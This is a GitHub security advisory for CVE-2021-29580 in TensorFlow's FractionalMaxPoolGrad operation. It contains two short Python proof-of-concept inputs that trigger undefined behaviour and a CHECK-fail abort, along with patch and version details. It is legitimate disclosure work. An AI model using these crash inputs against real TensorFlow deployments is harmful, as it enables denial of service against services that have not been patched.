Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`

Low **mihaimaruseac** published **GHSA-x8h6-xgqx-jqgp** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty:

```
import tensorflow as tf

orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)
```

The code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process

```
import tensorflow as tf

orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)
```

The implementation fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.

Patches

We have patched the issue in GitHub commit 32fdcbff9d06d010d908fcc4bd4b36eb3ce15925.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29580

Weaknesses

No CWEs